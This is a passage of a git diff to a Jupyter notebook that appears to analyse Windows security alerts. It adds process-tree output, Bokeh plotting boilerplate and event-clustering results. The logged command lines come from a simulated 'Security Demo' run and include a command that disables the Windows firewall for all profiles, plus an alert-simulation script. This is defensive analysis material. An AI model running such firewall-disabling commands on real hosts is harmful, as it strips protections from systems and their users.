\\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmdline unknown\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 4\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed here then pleas...\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@micros...\",\".\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\...\",\".\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo End Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installso...\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"cmdline unknown\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /svc\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\Install\\\\{049CD3BD-D98E-4D19-9695...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Install...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Install...\",\"\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\\" --install-archive=\\\"C:\\\\Windows...\",\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe --type=crashpad-handler /prefet...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\1.3.33.23\\\\GoogleCrashHandler.exe...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\1.3.33.23\\\\GoogleCrashHandler64.e...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ping PD94bWwg...\",\"cmdline unknown\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2F...\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364...\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8...\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"cmdline unknown\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\WindowsAzure\\\\CollectGuest...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\\\" -startPoll C:\\\\WindowsAzu...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff 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Application\",\"version\":\"2.1.1\"}};\n", + " var render_items = [{\"docid\":\"8fbb9190-34bf-4ec9-9bbf-617ce863aafb\",\"root_ids\":[\"1730\"],\"roots\":{\"1730\":\"f7e9661e-8dc1-494a-b3f3-50bbb5d5c1d1\"}}];\n", + " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", + "\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " embed_document(root);\n", + " } else {\n", + " var attempts = 0;\n", + " var timer = setInterval(function(root) {\n", + " if (root.Bokeh !== undefined) {\n", + " clearInterval(timer);\n", + " embed_document(root);\n", + " } else {\n", + " attempts++;\n", + " if (attempts > 100) {\n", + " clearInterval(timer);\n", + " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", + " }\n", + " }\n", + " }, 10, root)\n", + " }\n", + "})(window);" + ], + "application/vnd.bokehjs_exec.v0+json": "" + }, + "metadata": { + "application/vnd.bokehjs_exec.v0+json": { + "id": "1730" + } + }, + "output_type": "display_data" + } + ], "source": [ "if security_alert.data_family.name != \"WindowsSecurity\":\n", " raise ValueError('The remainder of this notebook currently only supports Windows. '\n", @@ -579,18 +3099,6 @@ " process_tree = None" ] }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "pd.Timestamp(0, tz=0)\n", - "ts_sample = process_tree.iloc[0][\"TimeGenerated\"]\n", - "print(ts_sample.tz)\n", - "print(pd.Timestamp(0).tz)" - ] - }, { "cell_type": "markdown", "metadata": {}, @@ -602,15 +3110,387 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 17, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:16.391952Z", "start_time": "2020-05-16T02:19:16.269953Z" - }, - "scrolled": true + } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1831\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1831\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = {\"beb65636-105d-478f-85f0-df36829d4856\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1834\"},{\"id\":\"1866\"}]},\"id\":\"1908\",\"type\":\"Column\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1857\",\"type\":\"PanTool\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1932\"},{\"id\":\"1933\"},{\"id\":\"1934\"},{\"id\":\"1935\"},{\"id\":\"1936\"},{\"id\":\"1937\"},{\"id\":\"1938\"},{\"id\":\"1939\"},{\"id\":\"1940\"},{\"id\":\"1941\"},{\"id\":\"1942\"},{\"id\":\"1943\"}]},\"id\":\"1878\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1887\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1850\",\"type\":\"BasicTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"1858\"}},\"id\":\"1854\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1920\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1922\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1934\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[\"%m-%d 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Querying data...

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Extracting features...

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Clustering data...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of input events: 189\n", + "Number of clustered events: 28\n" + ] + }, + { + "data": { + "image/png": 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FQ4bcTps2yzFjxgyOPPIwVl99DbbcchsGDbpqobTUB40mgJvZJ/ga8CAIgqCJ88YbY/n666/o27cfJSU+Xatr1+6ceuqZzJgxr/V+5JGHcfDBh9G1a3cmTZrIUUf14957R/Dkk49z553/oqSkhA4dOnDGGedwxRWX8N1333LKKf254IJBPPbYw/znP3dRVlaOtD7HHXcSLVu2ZJddeiJtwOTJ33HaaQOYPXs2M2fOpE0bWGqppTj99AG0aNESgL322pWrr76RBx64j1deeQnwnoMffpjCU089z7vv/perrrqMWbNm0qbNcpxyyumsuOLK9fKMIp1oEARBkDnef99Yd9315gbvHJtvviVt27at8fybbrqeyy+/hiFDbmfllVfh888/5dhjT2CFFdpzwQWD+Pjjjxgx4gGuv34Iw4bdSdu27bjrrtsA+OGHH+jV6wCGDbuTddddj6222oZ99tmdQw89gOuuu4o5c8pYddXV5rveEUccxbBhdzJ48DDatVuek08+k19//ZULLzyXs846jyFD7uCvf+3N+eefU5nchaLRtMCDuiHpU9yz/dOGVRIEQVAzJSXN5rZyF4Y//GErjjiiL1tv3YNtttmOddcVkyZNnHv8zTfH8sUX/6Nfv4MAmD37V9Zbb/25xzt12nDu5/79T+HAA/vy6qsv8+qrL9Gv30GcddY5bLPNdgtc96KLzqVz565sv/0OfPzxh0yc+AUnn3zc3OMzZkxf6HuqSATwYJESXuhBEBTC+utvwPDh91JeXj7fEqsbb7yWTTbZbO52/rHZs+etZDn22P58+OHuvPTSC5xzzhkcfPBhbLTRPF+tOXPK2G67nhx77AkAzJgxgzlz5uUMadmyFQBjxrzAzz/PYPvt/4+dd96NnXfejYceGs7DDz+4QAC/887bmDJlCqedNmDuNTp0WIVhw+5M23OYOvWHuj6auUQAzzhpffaF+Lrv2cCN6fMb+JyAVnjGt2NwD/PLzexySe1wM5rV8AmAraqo/2RgH3xZ2BOprl2BQfg691XxpX+b5V1/NXyJ3Slm9nRt7ie80IMgKISNN+5C27btGDJkMH36HEJpaSmvvPISjz76EOuss+7ccm3aLMcnn3xE167def750YAH8t699+aaawaz//4HMXv2bN5/3+jSpdvcIN2lSzfuvvt2DjywL8st15ZLL72ADh1WpW/ffvPpaNWqFZdffgkbbLAhK6/cgfLycj744H3WXVfzlXv55TE8/PAD3HDD0Lnd/mus0ZGpU6cyfvybbLxxFx555CGeeupxrr76xnp5RhHAs89euMnN73Bf8hfwYNzMzDaVdBaeWW0joD2+lvtyYCBun7qTpK3xID0fknYEuuEWtOW48U4vM7td0p54UpVtcX/0LyXdDQwxs4eSkcsLkjqbWcTdIGiCzJw1mxGX7l6UemuiWbNmXHjhZVx99aUccMC+NG/enDZtluOSS65k2rR5+bR79TqA884bwCOPPMRWW/UAoHnz5vTt249jj/0HLVu2pG3btpx22gCWWWZZVlrpNxx1VD+uvvpGDjroUI4++nDKy8tZZ5316N27zwI6unbtzsEHH8qJJx47t4W/2Wab06fPIfOVu+KKQcyZM4djjz1i7lLZ8867mHPOuZArrxzEL7/8wlJLLc1ZZw1cyKdWyTNqLOvAF1ckXQO8b2ZX5e0bDZxvZk+mTGM9zSznQFduZs2S2crfzOzttP8jYPv8MXBJg/DAnluOtyRwv5mdktzz3gFeNLO9U/nvgC/y5LUDdjOzqhK25NMR+KSmFngQBA3Hf//7Dh06rFFzwaAoTJz4GZ